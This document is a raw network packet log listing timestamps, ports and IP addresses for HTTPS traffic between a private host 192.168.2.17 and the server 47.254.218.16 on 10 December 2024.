Dec 10, 2024 12:48:37.343542099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.343585968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.348284006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.348953962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.348977089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.349009991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.349025965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.349046946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.349065065 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.354948997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.354974985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.355016947 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.355037928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.355053902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.355081081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.360860109 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.360882044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.360927105 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.360944033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.360960960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.360974073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.366128922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.366156101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.366187096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.366209030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.366228104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.366259098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.372957945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.518307924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.518331051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.518395901 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.518410921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.518467903 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.524162054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.524177074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.524240971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.524245977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.524292946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.530193090 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.530209064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.530263901 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.530268908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.530308962 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.535500050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.535506964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.535568953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.535573959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.535619020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.535852909 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.541079044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.541095018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.541162968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.541167974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.541213036 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.547192097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.547205925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.547266960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.547271013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.547317982 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.553014994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.553034067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.553075075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.553081036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.553113937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.553134918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.559134960 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.559149027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.559211969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.559216976 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.559259892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.572273016 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.699470997 CET	49675	443	192.168.2.17	204.79.197.203
Dec 10, 2024 12:48:37.710901022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.710927010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.710997105 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.711014032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.711061954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.716583014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.716605902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.716664076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.716684103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.716804981 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.722637892 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.722668886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.722701073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.722718954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.722740889 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.722759008 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.727924109 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.727951050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.727982044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.728002071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.728014946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.728049994 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.728719950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.734293938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.734313965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.734360933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.734366894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.734391928 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.734410048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.739515066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.739541054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.739574909 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.739578962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.739604950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.739624977 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.745697021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.745716095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.745768070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.745773077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.745816946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.751439095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.751462936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.751516104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.751521111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.751560926 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.764534950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.903381109 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.903403997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.903567076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.903575897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.903633118 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.910959005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.910974979 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.911050081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.911056042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.911096096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.916867971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.916883945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.916938066 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.916941881 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.916989088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.922065973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.922086954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.922122955 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.922127962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.922158003 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.922171116 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.922514915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.925956011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.925971031 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.926019907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.926026106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.926057100 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.926079035 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.931904078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.931920052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.931973934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.931979895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.932018042 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.937851906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.937866926 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.937922001 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.937926054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.937967062 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.943890095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.943909883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.943959951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.943964958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:37.944010973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:37.958667040 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.095478058 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.095503092 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.095624924 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.095634937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.095700026 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.103986025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.104017019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.104060888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.104065895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.104103088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.104115009 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.108674049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.108691931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.108743906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.108750105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.108791113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.110727072 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.115186930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.115201950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.115264893 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.115288019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.115328074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.120817900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.120831966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.120879889 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.120886087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.120929956 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.122284889 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.125812054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.125827074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.125884056 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.125890017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.125936985 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.132150888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.132169008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.132236004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.132241964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.132296085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.136838913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.136853933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.136898994 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.136904001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.136948109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.171088934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.287686110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.287709951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.287781000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.287790060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.287842989 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.293670893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.293687105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.293745041 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.293751001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.293796062 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.299707890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.299721956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.299787045 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.299793005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.299834967 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.304821968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.304840088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.304891109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.304896116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.304935932 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.310677052 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.311160088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.311180115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.311232090 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.311235905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.311275005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.316514015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.316531897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.316566944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.316571951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.316598892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.316617012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.322504997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.322519064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.322562933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.322567940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.322592020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.322603941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.328421116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.328434944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.328488111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.328493118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.328533888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.334099054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.480321884 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.480340958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.480376959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.480439901 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.480444908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.480508089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.486327887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.486344099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.486412048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.486418962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.486464977 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.491662979 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.491677999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.491728067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.491733074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.491775036 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.497549057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.497569084 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.497643948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.497649908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.497694016 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.500509977 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.503254890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.503269911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.503334045 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.503340006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.503386974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.509130001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.509150028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.509192944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.509200096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.509239912 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.515192986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.515208006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.515258074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.515264034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.515302896 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.520392895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.520415068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.520467043 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.520473003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.520505905 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.524399996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.672415018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.672435999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.672493935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.672503948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.672549009 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.678585052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.678601027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.678643942 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.678649902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.678692102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.684319019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.684340954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.684387922 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.684393883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.684443951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.689744949 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.689759970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.689812899 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.689817905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.689853907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.695929050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.695947886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.695990086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.695996046 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.696027040 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.696048975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.699013948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.701246977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.701262951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.701313972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.701318979 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.701350927 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.707271099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.707288027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.707330942 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.707336903 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.707376957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.713406086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.713424921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.713480949 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.713486910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.713524103 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.733809948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.865098000 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.865134954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.865191936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.865207911 CET	443	49729	47.254.218.16	192.168.2.17
